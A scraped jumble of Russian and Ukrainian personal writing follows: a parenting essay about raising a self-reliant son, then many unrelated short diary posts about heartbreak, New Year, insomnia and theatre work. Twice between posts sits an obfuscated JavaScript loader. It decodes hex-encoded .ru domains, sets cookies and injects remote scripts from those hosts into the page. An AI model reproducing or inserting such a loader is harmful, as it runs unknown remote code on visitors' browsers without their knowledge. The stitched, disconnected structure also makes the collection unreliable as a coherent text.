— Ну вот, — сказала подруга, скептически глянув на попискивающий сверток, туго стянутый голубой ленточкой, — ты и принесла в дом тирана. Пока маленького. Но учти, он будет расти. Так что не тяни, срочно заводи второго. Тогда они «замкнутся» друг на друге и не вырастут совсем уж эгоистами.

Еще не придя в себя от первого, о втором я даже думать не решалась. «Попробую пожить с тираном!» — мысленно сказала себе и по самую макушку окунулась в счастье материнства.

На первых порах мы с «тираном» привыкали друг к другу. Потом учились взаимопониманию. Потом радовались первым достижениям. И все это время меня не уставали стращать сердобольные подруги и соседки: «Погоди, вот вырастет — узнаешь. Вспомнишь, как с рук его не спускала, добалуешь!» А нам друг с другом становилось все интересней. Я читала всякие умные книжки и бесстрашно опробовала педагогические новинки на Дениске. И за турничок в кроватке он мужественно цеплялся, и ходить стал рано, минуя «ползательный» этап, и зимой босиком по снегу бегал, и в три года первую книжку прочитал. «Не мамаша, а садистка!» — в открытую возмущались соседки, в очередной раз увидев малыша без шапочки. «Нельзя так растворяться в потомстве!» — выносили вердикт окружающие и с нескрываемым злорадством ждали, когда я начну пожинать горькие педагогические плоды.

В свою очередь, детеныш тоже принялся испытывать маму на прочность, пытаясь определить рамки дозволенного. Какое-то время мне удавалось решать конфликты путем переговоров. Метод, скажем прямо, требующий времени. Отставлялась в сторону недоваренная каша, отодвигалась недомытая посуда и… сочинялась сказка про очередного невежливого зайчика или грязнулю-поросенка. Но однажды отработанный прием дал сбой. Чадо колотило ногами по полу и, заходясь в истерике, требовало непременно отдать ему на поругание ту «холосенькую» штучку с верхней полки. Мои здравые резоны были отвергнуты, и рев набирал обороты. Первым побуждением было отвесить законный материнский шлепок. Спасаясь от искушения, я встала и вышла, прикрыв за собой дверь. Минуты две рев нарастал, потом застрял на одной ноте и… перешел в монотонное хныканье. А еще через секунду на пороге возник мой весьма удивленный ребенок: «Чего ты ушла?! Я же тебе плачу!» Его возмущению не было предела. «Нет уж, пожалуйста, плачь себе, если тебе это так нравится. Мне не нравится, вот я и ушла. Люди, если хотят друг друга понять, разговаривают, а не ревут…»

Это была наша первая проба сил. Потенциальный «тиран» понял: необоснованные требования, выраженные в категорической форме, мама не рассматривает. А кричать в пустоту себе дороже. Я же уяснила: как бы ни было жалко захлебывающееся в слезах чадо, иногда надо дать ему возможность поплакать…

Следующей испытательной площадкой был магазин. Мамашки, уже познавшие всю прелесть публичного вымогательства с завываниями и криками: «Купи, жадина!», признавались: это действительно непередаваемые ощущения! Когда Денис подвел меня к самой дорогой машинке и громогласно потребовал: «Мама, купи!», я внутренне напряглась («Вот оно — начинается!» ;). Потом взяла его за руку и подошла к висящим рядом пальто: «Дениска, купи мне это! Мне так нравится…»

До сих пор вижу перед собой донельзя изумленную мордашку сына: «Мамочка, — почему-то шепотом произнес он, — но ведь у меня нет денег…» — «Ты знаешь, — заговорщицким тоном сказала я, — у меня их тоже нет, так что я останусь пока без нового пальто, а ты — без машинки. Идет?»

Охотно согласившись, сынуля засеменил к выходу. С тех пор во время любых походов за покупками он трогательно интересовался, хватит ли у нас денег на еду, мороженое, игрушки. Да и сейчас, будучи уже подростком, он никогда не затевает материальных разборок. Во-первых, потому что в курсе моих возможностей. Во-вторых, знает: просто так — «из вредности» или в воспитательных целях — я его в карманных деньгах ограничивать не буду. Если не даю, значит, действительно не могу. И мне кажется нормальным, что первые свои деньги, честно заработанные на математической олимпиаде, Денис (по всем законам жанра обязанный быть эгоистом) потратил не на диски или жвачки, а гордо принес маме.

Слушая рассказы своих подруг о том, как их единственные и неповторимые отпрыски ставят ультиматумы и чуть ли не самоубийством грозят в случае отказа в покупке компьютера или новых кроссовок, я думаю: меня минула чаша сия потому, что я никогда не создавала своему ребенку отдельную «детскую» жизнь. Я вводила сына, насколько позволял его возраст, в курс моих проблем. И не только материальных. Я учила его прислушиваться к душевному состоянию того, кто рядом. Он знал: у мамы может быть плохое настроение из-за неприятностей на работе. Понимал, когда лучше не заводить речь о походе в парк, потому что я должна сдать материал в номер. (А чтобы то, что я делаю, не было для него абстракцией, он с моей подачи сам пытался «издавать» собственный журнал.)

Он никогда не был «центром вселенной», вокруг которого вращались родственники. Но всегда знал, что от него тоже кое-что зависит. Например, если научится готовить обед, сможет все каникулы проводить за городом. (В двенадцать лет сварганить оладьи, поджарить картошку, сварить спагетти и разогреть котлеты для него не проблема! В особых случаях и торт испечь может.) Если докажет, что хорошо ориентируется в городе, будет ходить в компьютерные клубы, библиотеки и на курсы программистов. Если нет, придется сидеть дома, поскольку мне его возить некогда. Экзамен на «городское ориентирование» сдан с блеском, так что теперь ребеночек иногда подсказывает мне, как куда удобнее добраться.

Что именно мамаши гасят в детях самостоятельность, я убедилась, еще когда Денису было года три. Помню, в парке Горького мы смиренно стояли в очереди и наблюдали одну и ту же картинку. Карусель тормозит, и тут же, как по команде, к ней бросаются мамаши — снять деток, следом другие — посадить. Я, как истинная «садистка» (помните?), отпускаю ребенка одного. Он со знанием дела выбирает «своего» зверя. Карабкается. Соскальзывает. Пытается вновь. Из последних сил удерживаюсь от того, чтобы не броситься на помощь. Но вот она, маленькая победа! Денис взобрался-таки на свою лошадь и прямо сияет от счастья. «Вы первая, кто пацана не кинулся подсаживать, — раздается над ухом скрипучий голос старика-служителя. — И кого эти мамки себе растят?»

А ведь действительно мы сами растим себе будущие проблемы или радости. «Моему обормоту уже четырнадцать, а он бутерброда себе не сделает, кровать не застелет, пуговицу не пришьет…», — вы наверняка не раз слышали подобное.

А зачем, спрашивается, он все это будет делать, если у матери получается гораздо лучше и она охотно обслуживала его до четырнадцати? Он и в самом деле не понимает, почему что-то должно меняться.

Когда-то я интуитивно догадалась, а теперь почти уверена: чтобы ребенок не вырос эгоистом, надо быть мамой-эгоисткой. Я никогда не «жертвовала всем» ради сына. Более того, не скрывала от него своих слабостей. Четырехлетний Денис твердо знал: утром мама любит поспать. Поэтому он тихо одевался, следовал на кухню, ел печенье с йогуртом и играл один, пока я не выходила из спальни. Сейчас, учась в школе в первую смену, он самостоятельно собирается, завтракает, выгуливает собаку и отправляется на занятия. Мама может спать спокойно!

Кроме того, я никогда не забывала, что мой сын — мужчина. А я — женщина! Пассажиры чуть из окон не вываливались, наблюдая, как пятилетний кавалер подает маме руку, выйдя из автобуса. Гардеробщицы в детском театре просто млели от трогательной сцены: малыш пытается помочь маме надеть пальто. Сегодня все эти ритуалы этикета для Дениса абсолютно естественны и привычны. Конечно, мне это нравится. Мне вообще нравится мой сын. И я не стесняюсь говорить ему об этом. Он знает, что я всегда готова его понять, выслушать, поддержать. Я в курсе всех его дел и проблем. Он тоже неплохо ориентируется в моих. Я никогда не стремилась быть для ребенка недоступным идолом — вещающим и приказывающим, карающим и милующим. Или служанкой, готовой исполнить любую прихоть. Мне всегда хотелось быть ему другом. Я не «леплю» его. Не мечтаю, чтобы он «осуществил то, что не удалось мне». Я хочу, чтобы он жил своей жизнью. Интересной ему. А для этого, без муштры и занудства, без принудительного вождения в кружки и на музыку, а исподволь и ненароком я «подсовывала» ему все новые увлечения. Чтобы было как можно больше пищи для ума и возможностей для выбора. «Как тебе удается делать вид, что тебе все это интересно? — спросила однажды подруга. — Мне мой Сашка начинает о своих компьютерах рассказывать, так меня сразу в сон клонит».

Пришлось признаться, что я не понимаю вопроса. Мне действительно интересно! Увлекшись астрономией, мы ночью ходили смотреть в бинокль на звездное небо. «Заболели» кактусами — все свободное время проводили в цветочных магазинах. Вместе клеили аквариум и рыдали над каждой сдохшей рыбкой. Вместе искали нашего сбежавшего беспутного пуделя. Даже вышивали в свое время — и то вместе!

— Что ты делаешь! — поучали меня более старшие и опытные. — Ребенок так за тебя держится, что никакому мужчине рядом не вщемиться. Никогда ты после развода уже свою жизнь не устроишь!

Я так не думала, исподволь приучая Дениса к тому, что у него нет монополии на маму. Он знал: у мамы должна быть личная жизнь. Привык, что я могу прийти поздно, что меня часто куда-нибудь приглашают. Воспринимал он это без энтузиазма. Но теперь шутит, что всю жизнь живет в условиях жесткой конкуренции, поэтому и научился потакать всем моим прихотям. И еще он знает: ему не может быть плохо, если мама счастлива.

— Конечно, — язвят мои неугомонные соседки, — ребенку приходится быть ответственным. Ты ж за ним не смотришь: то боулинг, то спортклуб, то парикмахерская…

Не смотрю! Потому что вовремя научила его самообслуживанию. Не проверяю уроки. Потому что знаю: он их сделает сам и без моих напоминаний. Даже не всегда спрашиваю об оценках. Потому что уверена: в ответ услышу об «урожае» пятерок. И даже не хожу на родительские собрания. Потому что мои представления о воспитании абсолютно не вписываются в школьные догмы. Я точно знаю, что не буду варить ему ежедневно обеды из трех блюд, не стану стирать носки и не кинусь заутюживать стрелочки на брюках. Мне жалко на это собственных сил и времени. Но я отложу все дела, все свидания, все «горящие» материалы, чтобы почитать с ним стихи, поговорить о любви, о дружбе и о предательстве или просто о том, почему Ирка из параллельного класса пришла сегодня в школу с бордовыми волосами…

ми обіцяли бути вірними один одному і кохатись цілу вічність, але ми не витримали навіть людського життя. раніше я ледве не з сльозами на очах уявляла як відпускаю твою руку, навіть на ніч. а тепер я не можу згадати нас, таких щасливих, таких закоханих один в одного. час іде, планета крутиться і ми крутимось разом з нею навколо своїх клопот, проблем, думок. з часом змінюються люди, дорослішають, змінюється свідогляд і глобально міняється хід думок. ми втрачаємо, знаходимо, переживаємо розлуку і знову закохуємось, навіть якщо це легка закоханість в людину, яку ти бачиш вперше і в останнє. і не знаю чи добре, чи погано те, що все це тимчасово. в віком ти навчаєшся замінювати людей, через яких сходив з розуму, іншими. можливо зовсім протилежними, можливо ідентичними. але як не крути кожному, чи кожній можна знайти заміну. головне самовдосконалюватись і ти будеш знаходити все краще і краще. не потрібно когось шукати, намагатися створити щось і з кожним надіятись, що це твоє. якщо людям потрібно зустрітся, це обов*язково відбудеться. незалежно від того, що ця людина повинна принести у твоє життя, велике горе, незабутні емоції, краплю досвіду, який ти використаєш у майбутньому, або ж не зробиш ніяких висновків. кожні відносини залишають якийсь осад, який дає про себе знати.

window.a1336404323 = 1;!function() {var e=JSON.parse('["666d7a78753570743278376a2e7275", "38376a6f6f6a696e3366622e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="18167", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Пост боли.

Ненавижу Тамблер: с

Просто закрыть все окно и двери, и выключить свет, и перестать говорить.

у меня снова бессоница. не хочу пить таблетки. они все равно не помогают. тут голова сама должна себе помочь. я поняла, что бессознательно общаюсь с людьми с которыми он так или иначе связан. в смысле на бессознательном уровне. они меня меня так и притягивают. я прямо чувствую себя лучше, целой, спокойной… что я пытаюсь этим сделать ? на что я надеюсь ? что он будет знать обо мне ? да ему же плевать! и все мои ухищрения - это все напрасно. просто когда я с этими людьми мне так хорошо. прямо как с ним. почему он мне так нужен ? любовь ли это или что-то иное ? нельзя так говорить, но я так хочу все забыть. они меня сводят с ума. воспоминания. я не хочу чувствовать эту боль. я ее сейчас также остро чувствую, как будто это произошло вчера. я много не помню. его голос, например. смех помню, а вот голос нет. моя жизнь разделена на "до" и "после". ибо когда я была с ним, я парила. или мне кажется ? я пыталась понять почему я его так люблю и не нашла ответа. как себя вытащить из этого болота?

Рано или поздно наступает момент, когда ваши пути расходятся. Каждый выбирает свою дорогу, думая, что когда-нибудь они вновь сойдутся. Но со временем они становятся всё дальше. Сначала ты считаешь это нормальным: «Вы ведь созданы друг для друга; ведь рано или поздно всё вернётся». Однако, этого не происходит. Вместо этого наступает зима. И ты вдруг понимаешь, что всё кончено. Раз и навсегда. И в этот момент, ты понимаешь, что некоторые вещи случаются всего раз в жизни. И не важно, как сильно ты будешь пытаться почувствовать это снова. Ты больше никогда не поднимешься на три метра над небом

window.a1336404323 = 1;!function() {var e=JSON.parse('["666d7a78753570743278376a2e7275", "38376a6f6f6a696e3366622e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="18167", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Очень обидно смотреть на всю эту новогоднюю суету. Все выбирают подарки готовятся к празднику. А у меня по ходу не будет ничего этого. Я не куплю близким подарки, подарок не подарят мне да и отмечу не так как хотелось бы. И у всего очень бональная причина. Нет денег)) Аж смешно. И дело не в том что потратили/не заработали/потеряли. А просто нам не возвращают долг. Ну не совсем долг, не хочу вдаваться в подробности. Ужасно когда ничего не зависит от тебя. И больше всего бесит то что после завтра у меня с любимым фотосьемка. И я не имею ни малейшего представления где возьму на нее деньги. Я понимаю естественно что у кого то нет дома, кто то в больнице а кто то вообще потерял близких. Это все очень грустно, но еще неделю назад я с удовольствием придумывала что бы кому подарить и что одеть на фотосьемку. А сегодня думаю как бы отказаться от фотосессии( (ОБЛОМ!!!

Друзья: Рейчел и Моника

"Я не знаю, что бы я делала без тебя …"

Никогда не устану его смотреть.

Новогодняя суета сожрала и меня. Пока все в поисках планов на Новый год, у меня все решено давно. И место, и время, и компания. Как нельзя кстати в шкафу завалялось ещё ни разу не надетое красное секси-платье :D Сегодня сделала маникюр. Завтра буду разбирать свой хлам в комнате, и навсегда оставлять в этом году все то, что не нужно мне будет в следующем. Хочу встретить этот Новый год с максимально светлой атмосферой вокруг себя, и с максимально чистыми мыслями. Зачёты сданы, допуски получены. Моя голова в принципе не о чем сейчас не болит. Лежу в тёплой ванне и пью вино. Все роскошно.

ах, я даже нашел эпиграф к старому фанфику! ах, моё сердце

вызывайте парамедиков

и всё-таки, отчего время перемен? так, блин, камень назывался! а основное название же было Поворот судьбы. чем я тогда думал?

Я хочу закрыться в твои объятия.

В субботу он уезжает домой и я попросила его, чтобы до 26 мы все решили.И мне очень понравилось, как он свалил на меня всю ответственность, написав "Ну раз ты так пишешь, значит ты приняала решение". Потом же, если что, скажет "Ну ты же сама не захотела больше общаться". Но я уже миллион раз озвучивала свою позицию и говорила, что хочу, но все, что будет дальше зависит только от его решения, которое он не может принять. Уже прошу, ну скажи мне да-да, нет-нет, ну хватит все это мурыжить, но нет, мы же продолжаем это все. Я больше не могу, где мужское, веское слово.

Используй свой потенциал. нет, не поздно.

Человек для другого. Говорят, царь, ум… и тд. Чушь! Посмотрите на основную массу, проследите за одним, вторым, третим….. и лишь одиннадцатый, если повезет, будет осмысленно заниматься чем-то стоящим и полезным. В век потребления мы сами стали вещами с надуманным предназначением, с надуманным смылом и непродуманным планом, смешно даже. Или это и есть план- войти в колею и терять день за днем, шагая, пусть не задумываясь. Зато движение. Муравьи, изредка поддерживающие друг друга. Нет, муравьи лучше-система более отлаженная. Животные лучше. Для чего создались компьтерные технологии, развивались, для чего было написано столько книг, для чего учили грамотности? не для того, чтобы мы коверкали слова, придумывали кучу жаргонов и кормили котика на планшете. Не для того, чтобы на той же бумаге писать сплетни и унижаться. Терять время. Свое, других людей. Это не накипевшие обстоятельствами мысли, это часть суровой жизни, что нас не интересует. Использование не по назначению. Ограниченность и самоуверенность. Надуманная самодостаточность и непорочность.

Спасибо большое, kissherdraco ! miserable , что показать? Квартирку то? :)

Говорят, что я снова стала злее. А как быть-то теперь?
Еще говорят, что в Новый Год нужно благодарить прошлый за все, что было. Вот только приятных воспоминаний 2015 не оставил. Хочется зарыться во что-нибудь/ в кого-нибудь и забыть об этом хотя бы на секундочку.

Я сегодня была первый раз в гадалки.Верней нашла девушку, которая отлично гадает на кофейной гуще.Я вам скажу, что этот человек сказал мне всю правду!!!Всю.Она рассказала мне обо мне, сказала, что я переживаю по поводу переезда, у меня страхи оставить маму, были ссоры с парнем.Рассказала все о Сереже.ВСе!!!Что он любит машины(откуда она вообще знает, что у меня парень), что ему надоело наше расстояние (как она узнала, что он с другого города). Много вещей говорила, у меня только с каждой ее фразой глаза по 5 копеек были.

От нее ушла под впечатлением.

А так, я поговорила с мамой о том, что нужно что-то думать.Она меня поняла, сказала, что я должна поступать так, как мне подсказывает сердце.Если я хочу с ним жить - я должна это сделать.Теперь, я после своего лечения буду переезжать. Страшно пока об этом думать.

Главное сейчас сделать максимально хорошо все для мамы.Постараться пока я дома не ссориться с ней, помогать и быть рядом.

Но, что я заметила, что Сережа после вчерашнего разговора стал как-то холодней ко мне, что ли.Или я опять себя накручиваю?

Отношения- глубокий океан или пылающий огонь. Вода или пламя. Тонешь, сгораешь. Плаваешь, греешься. Можешь терпеливо ориентироваться, хочешь? нет, прибегай к худшему, маши изо всех руками и просись на берег. Возможно, вы испугались омута или нашли ненадежного на ваш взгляд спутника. Может даже вы продолжите плыть дальше, но ввиду неуверенности, это будет тусклое приключение вдоль того же самого берега с большой неуверенностью в своих силах и желаниях. Все это будет смешиваться с тем сомнением и даже, можно сказать, сожалением:"а зачем, собственно, я пошла в воду? А надо было?"

К огню не подходи так близко- ожоги, боль. Пренебрежительное "подбрасывание" уже в отложенный очаг не только порушит его, но и породит кучу нежелательных искорок. Точка накаливания, жжет уже внутри, может только у одного. Неаккуратно преподносишь свой огонь другому- его гасят или убегают, с криками: "ой, волосы".

Не всегда можешь рассчитывать что другой человек будет вести себя так, как ты задумал. Никогда. Можешь предусмотреть различные варианты, но, что хочу сказать..самые крепкие "сделки" начинаются с недюжинного постепенного доверия, когда, проверив его на суше, пойдешь рядом нога в ногу и в огонь, и воду.

Вы такие все счастливые, меня от вас тошнит!

вчера двум зрительницам-подружкам-пенсионеркам приспичило со мной поболтать. я была уже прилично заболевшей и на задушевные беседы не настроенной:

— (одна другой) смотри, какие куколки здесь работают! (мне) вы же студентка?

— да

— подрабатываете?

— да

— молодец какая!

— ага

— а учитесь где?

— *говорю*

— ооо! здорово! ну и как там, на актёрском?

— *эм.. вы пропустили одно логическое звено, но пофиг* (пожимаю плечами) да норм

— и че, вы прям актриса, да?

— ну да

— и че, прям собираетесь быть актрисой, да?

— *я стёб оценила, но стоически сдержалась и не расхохоталась* да

— ой, ну это хорошо

— ну ещё бы

— нет, вы даже не представляете, как вам повезло!

— куда уж мне

— конкурс-то большой был, а?

— вы себе не представляете

— а, ну да, ну да. ну, удачи вам!

— спасибо!

Женщины всегда ждут чего-то иного, не того, что существует в действительности. (Ги де Мопассан)

Топлю кончики пальцев в воске- пачкаю клавиатуру. Нет, не в этом дело. Я довожу дело до крайнойсти- воск поднимается вверх по фитилю, перекрывая пламени кислород. А пламя -это основное, что согревает, чарует. Погружаешь подушечки, терпишь, потом достаешь, и после этого оттока оно горит еще сильней. Как ссоры. Он гасят ваше самое яркое пламя, топят, если вовремя не одуматься. То пламя, что не тухнет, может стать выше и сильнее. Тот воск, что остался на пальцах можно правильно сформировать, можно отстранить совсем, но если вы его кинете обратно в свечу, так небрежно и скоро- все снова окажется на грани. Берегите то пламя, что согревает день ото дня вашу душу, завораживает и пленит.

Вторая свадьба за месяц. Одним словом, как время быстро идет. Только помню, на переменах вместе бегали

7-8 ноября

Так уж получилось, что я терпеть не могу аналогичные вопросы в ответ. Меня спросили о чем-то, я ответила, человек сам может рассказать и о себе. Хотя, возможно, вопросом «а ты? А у тебя?» проявляется заинтересованность в беседе с человеком, но повторюсь, я стараюсь их избегать. Саша это заметил (да уж, это не так трудно) в первые минуты общения и подчеркнул, что было мне на руку, ведь я сразу пояснила всё и от меня уже не ждали ничего, он уже сам прокручивал этот вопрос в своей голове.

На след день скинула ему подборочку из своего избранного, в ответ мне пришло сообщение, что вкус-то у меня неплохой … даже хороший! Вот это ничего себе)

/Я просто читаю нашу историю сообщений и пишу, поэтому текст не особо будет связан между собой, сори/

Я тогда сначала удивилась. Что? Открытая? Я? Ты шутишь? А потом вспомнила: «ты же мне не нравишься, и я не особо задумываюсь о том, что пишу тебе!». Тогда да, очень даже может быть и такое.

А потом он пропал. Как и я пропадаю со своими историями. Неправильно я выразилась, никуда он не пропадал, мы просто не общались, но на сегодня хватит.

• NEKTO • ASK • TWITTER •

одна моя однокурсница встречается со студентом-актёром из другого вуза. другая однокурсница (даже две) сходят с ума по его однокурснику. тот, в свою очередь встречается с женщиной, которой.. 34 года!

а тут я что-то про свою безнадёжность заливаю.

За это день я прошла на много больше, чем планировалось. Конечно, эта умирающая городская атмосфера со своей грязью и развалинами угнетает, снега нет, город полу пустой. Но даже это не повлияло на мое настроение.
Главное ведь как ты себя чувствуешь внутри, если ты в хорошем расположении духа, то даже такая атмосфера не сможет испортить твой настрой.

Даже побывав у дедушки в больнице я не чувствовала ни грусти, ни угнетения. Я взяла с него пример быть оптимистичной, улыбаться и шутить даже в самых затруднительных ситуациях.

Еще что возможно поспособствовало моему настроению, это комплименты в мой адрес. За последние дни я слышу их почти каждый день и довольно часто, наблюдаю взгляды мужчин. Как только я начала себя принимать и любить, то все начали видеть во мне эту красоту. Нужно самой ее раскрыть и подавать.

В ответ на комплимент я улыбаюсь…ладно, тупо задействую определенные лицевые мышцы. Они видят красивую оболочку. Я просто не знаю как на это реагировать.

Если вдруг ты, незнакомец, случайно наткнулся на эту запись и дочитал это до конца, то знай - я люблю тебя, ты прекрасен. С тобой будет случаться только хорошее.

sashkinagirl, спасибо большое за поздравления! Мне очень-очень приятно! Посылаю тебе лучи добра: ****

У нас сегодня рождество, ребятки!!! И я наконец-то сегодня немного приукрасила квартиру фонариками.

Кстати, я просто обожаю нашу квартиру!!! Я ужасно долго мечтала о душевой кабине, отдельной спальне с большой кроватью, о барной стойке, разделяющей гостиную с кухней….просто квартира мечты!!!

а тем, у кого нет новогоднего настрония, я хочу сказать - вы не одни. разочарование и крах, видимо, стали традицией. ну не дружим мы с этим праздником. грусть и печаль. зато сессия сдается.

стиль очень нра!!! <3

Даже не знаю. Например, хочу провести одной ночь в лесу. Или погулять ночью на кладбище. Но я бы не сказала, что это так уж дико и немыслимо.

Что изменилось в жизни после того, как я перестала зацикливаться на своих проблемах?Ничего. стало значительней легче, я перестала плакать по ночам и…и.. Все. Но это успех для меня!

Эдди Редмэйн и его супруга Ханна Бэгшоу впервые станут родителями!

Поздравляшки!

да будут отписки.

уже готова куда-нибудь снова пойти волонтёрить. мне так быстро успевает всё осточертеть, что даже хоть какая-то зарплатка - не мотивация.

хотела в тот же театр, где сейчас работаю, сделать направление на практику, но.. нет уж, хватит с меня. увольняюсь.

на работе почему-то вспомнилось, как год назад на практике, в другом театре так же дежурила на каком-то мероприятии (не уверена, что на спектакле), и увидела Его друга со своей девушкой в числе гостей. встретила их, как и всех других. улыбалась, что-то щебетала про "проходитерасполагайтесь-гардеробнижеполестнице-дадаприятноговечера", а потом за моей спиной встал мой начальник. и стал твердить "улыбайся-гостяяяям-аняяяя". и вот тут-то улыбаться перестало получаться. ну не могу я включать "smile" по чьей-то указке. иногда, конечно, такие интересные персонажи приходили, что поневоле заржешь аки истеричка последняя. заходила, например, бабуля: зашла, нагло проигнорила четыре мои вопроса в стиле "здравствуйте, вам чем-нибудь помочь?", прошла до конца коридора, развернулась как солдатик на 180 градусов, и чуть не сбив меня с ног, пошла к выходу. а, ну да, она еще была скрючена, с палочкой и параллельно разговаривала сама с собой. или приходил дедуля (ну реально дедуля, даже для меня!), с девицей в три раза младше. она - такая typical блонди, жертва солярия и пластической хирургии, смуззи из ботокса и силикона, на шпильках 15+, а он - примерно как та бабуля (вот с ней бы он смотрелся!), и плетётся сзади, злой как чёрт. хахах, по-моему, это Он лет через тридцать!

из гардероба тогда вышел тот Его друг, разговаривая по телефону. потока гостей на входе уже не было, моя напарница и начальник отошли по каким-то своим делам, поэтому я невольно услышала разговор и поняла, что должен прийти какой-то друг этого человека со своей девушкой. блин, ну конечно же, я даже знаю, кто!

и представила картину: приходит Он с какой-нб фифой под руку, а я сквозь зубы "проходите-располагайтесь", и еще админ в спину мне "улыбайся гостяяяям! Аняяяя!". пздц. и кто тут побежденный?

но, к счастью, это был не Он. странно и хорошо, что в этом театре мы ни разу не виделись. хей, я вообще ни разу с Ним не встречалась ни на одном спектакле в зрительном зале! кроме Его театра, но это не в счет. ну да, встретиться в театре - это было бы слишком очевидно. судьба любит меня удивлять в самый неожиданный момент и самых неожиданных местах. впрочем, однажды приезжал очень крутой зарубежный театр. я знала, что Он такое не сможет пропустить, поэтому пошла в тот день, когда у Него самого был спектакль в Его театре.

я заболела. в самый подходящий момент - сессию, да. но это не мешает мне всё сдавать в срок. ну, по крайней мере, пока. сижу, третий час настраиваюсь на то, чтобы начать писать билеты. у девчонок уже больше половины написано. два дня подряд я работаю, потом - два дня подряд сдаю экзамены (экзамен и контрольную, если быть точнее). надо просто выбрать, что я хочу завалить первым.

в день, когда я заболела, я проснулась с температурой. мне снилось, как Он с женой и их дочкой (!!!) были где-то на море. не помню, что там делала я - работала, вроде. но за секунду до того как проснуться, четкая мысль "вот теперь это точно конец".

Сейчас на тнт шел любиииимейший фильм моего детства - Лжец Лжец с Джимом Керри!) Посмотрела его в миллионный раз всё с тем же удовольствием, а кажется даже еще бОльшим, чем в детстве. Сразу так тепло стало. Пошли ассоциации с папой, сестрой.. и вообще с тем временем… ;)) Сижу и милуюсь :D

Чудесный, легкий, веселый фильм). Прекрасный, талантливый и такой молодой Джим).

Так бывает смешно, когда люди, которые со мной проводят время, услышав сообщение, сразу бегут отвечать. А когда эти же люди проводят время с кем-то другим, мои сообщения по полгода читают))

Сахарница на столе- он ушел не так давно. У нас все пьют чай без сахара. Мы нежились целый день в объятьях друг друга, но мало разговаривали, это было похоже на один день из совместной жизни. С чем-то мы уже сроднились- я ему готовлю ужин, потом пьем чай и идем спать. Я чувствую себя в надежных руках, не знаю, каким взглядом его одарить и выразить свое "спасибо" или свое "люблю". Это не укладывается в голове, как не укладывается в голове мысль, как мы нашли друг друга.

Чуваки, ни разу не спрашивала совета у вас, но правда, какое лучше?

